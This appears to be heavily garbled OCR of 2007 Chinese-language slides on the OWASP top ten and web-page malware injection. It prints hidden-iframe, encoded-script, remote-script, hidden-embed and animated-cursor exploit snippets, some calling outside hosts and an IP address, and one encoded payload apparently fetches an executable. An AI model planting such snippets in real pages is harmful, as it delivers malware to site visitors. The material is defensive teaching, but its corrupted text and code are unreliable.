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2007 OWASP- + Web 7 % i i

u Cross-Site Scripting (XSS)

u Injection Flaw

u Malicious File Execution

u Insecure Direct Object Reference

u Cross-Site Request Forgery (CSRF)

u Information Leakage and lmproper Error
Handling

u Broken Authentication and Session Management
u lnsecure Cryptographic Storage

u Insecure Communication

u Failure to Restrict URL Access

PDF created with pdfFactory Pro trial version www.pdffactory.com



http://www.pdffactory.com

BN BE & T 7 B OWASP
Web”" X e

u Cross Site Scripting (XSS) — g&xk9ri
sz ¥

u Injection Flaws — ;3 » 33 &

u Malicious File Execution—& & &% 3 # =

u Insecure Direct Object Reference —%
S E LR =

u Cross Site Request Forgery (CSRF) -
E’s‘«éE %-J‘\
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ulframez ;=

<iframe src=+ § $i width=0 height=0></iframe>

u Example

(iframe src=http://update.misofthelp.con/help.htm width=180
height=0 frameborder=8></iframe>
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uJava Script: =

document.write("'<iframe width='0" height='0' src='
* & pp'></iframe=");

uExample(® 7 $af8/4c %)

ZEBCRIPT>document.write {unescape (" #3C3CRTIPTE20]language*Z0%3D0820T3cript. Encode33EE23

<E8CRIPT>document.write {unescape (" $0D%0AS3CECRIPTS3EvartZ0Words%3DsEE 8203 C3CRIPTEE0
Path$zZ8MircoLonge, MircoLongll$Z9%0D%0A%20%20%20%20Mircolonga. writeZ0Mircolongd. re

ZECRIPT>document.write {unescape (" $#3C3CRIPT$E0language$20%3D%20J3cript. Encode$3E$23
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. VB Scriptiz i
u Example(pr 2 S8 /4 %)

<3CRIPT»var Words="$3Chtml33E30D%04%3Cscript language$3DZE2VEacriptiZ233E40D%0kon error resume next
$0D%0AMyQQS37245383D822httpd A% ZF3 2Pt ZELove f 82 EenZFwuxint2Fyz0701x%2Eexeb 2 $0D4 045t CAO: 3D
document$ZBcreateElement$28%220b]ectdZZ829%0D80Ac] $3D%20¢1a1d%3ABDEZZ30D40ACE$3D32296C55632DA5ATEE
$22%0D%0Ac383DZZD0%ZD903ARED00C04F$2230D%0Acd 83D 2ECETEI A2 40D%0ACAOCSZEsetattribute $22claga1dsl
$20c1%2Bc2%2Bed$2Bcd 0D 0Azeturlat3Dt22downtZ2 3008 0Aseturlhd3D822 1114228003 0A3eturle$3Dsicopy$iit
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uJava Script % 3| 4e %32
<SCRIPT language="JScript.Encode"

src=http://example/malware.txt></
script>

* malware.txt ¥ iz = iE i@ 54 &
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o B3 8 (E=RM, SWF, WMV 2 ):% ;3

<embed type="%udiu}x—ph—;Ealaudinlplugin"
sre="http://211.115.220.10%/m/n. rm"

controls="controlpanel, statusbar" height=0

width=0 autostart=truez</FONT=<br=</TDh=</TH>=

e http://211.115.220.109/m;/fuck.htm (=) (O () 3

CL XD address | hitp://211.115.220, 108/ mAuck him s | (@) £

= g o "-!‘\5};
0 Ny e | il ! YR
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u Malformed ASCII Bypassing: i«

<html=

<head>

“<meta http-equiv="Caontent-Type" content="text/html; charset=US-A3CII" /=
<title>BEIEEEEE</title=

</ head><hody>

IH BB HE AT I R T IR TR IR T A PR I et S T A B F R o IS PR AR S P 1 A B A 1
</ body=</html>
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u Microsoft Security Bulletin MS07-017:
Vulnerabilities in GDI Could Allow
Remote Code Execution (925902)

u Microsoft Security Advisory (935423):
Vulnerability in Windows Animated
Cursor Handling

<acript type="text/iscript™>

function initi)]

document .. write ("<oenter><font color=redx</fontr<center>") :}
window.onload = init:;

</fscriptr

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN":»
<HTHML><HELD><METL http-squiv=Content-Type content="text/html; charset=hig5T">
<METL content="MIHTML &.00.2900.3059" name=GENERATOR:»</HELD><BOD V>

<DIV style="CURIOR: url('http:/ www.acttw. com de,/ R 714 . gif' ) "</ DIV-</DIV>

a1 o
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